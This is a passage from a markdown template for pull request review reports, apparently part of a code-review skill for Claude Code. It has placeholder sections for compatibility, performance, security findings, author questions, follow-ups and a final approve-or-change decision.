**Compatibility**: [Fully Compatible / Compatible with Deprecation / Breaking Changes]
**Findings**:
- [API changes analysis]
- [Database migration safety]
- [Configuration compatibility]
- [Deprecation handling]
[If breaking changes:]
**Breaking Changes**:
- [List each breaking change]
- [Justification for breaking change]
- [Migration path provided?]
---
## Performance Considerations
**Performance Impact**: [Positive / Neutral / Negative / Needs Investigation]
**Findings**:
- [Any performance improvements or regressions]
- [Algorithm efficiency]
- [Database query optimization]
- [Resource usage]
---
## Security Assessment
**Security**: [No Issues / Minor Concerns / Significant Issues]
**Findings**:
- [Input validation adequate?]
- [Authentication/authorization correct?]
- [No exposed secrets?]
- [Dependencies safe?]
---
## Detailed Review Notes
[Optional section for additional context, questions, or detailed analysis]
### [File Name]
[Detailed notes about specific files if needed]
---
## Questions for Author
[Any clarifying questions about the implementation]
1. [Question about design choice]
2. [Question about edge case handling]
3. [etc.]
---
## Follow-up Items
[Issues that could be addressed in follow-up PRs]
- [ ] [Follow-up item 1]
- [ ] [Follow-up item 2]
- [ ] [etc.]
---
## Final Recommendation
**Decision**: [Approve / Request Changes / Needs Discussion]
**Rationale**:
[Explain the recommendation based on findings]
**Next Steps**:
[What should happen next - fixes needed, discussion required, etc.]
---
## Appendix
### Review Checklist Applied
[Optional: Note which checklist areas were reviewed]
- [x] Code Quality
- [x] Correctness
- [x] Testing
- [x] Security
- [x] Performance
- [x] Backward Compatibility
- [x] Documentation
### Files Reviewed
[List of all files examined during review]
- `[file path]`
- `[file path]`
- ...
---
*This review was conducted using the PR Review skill for Claude Code. For questions or to customize review criteria, edit the skill in `.claude/skills/pr-review/`.*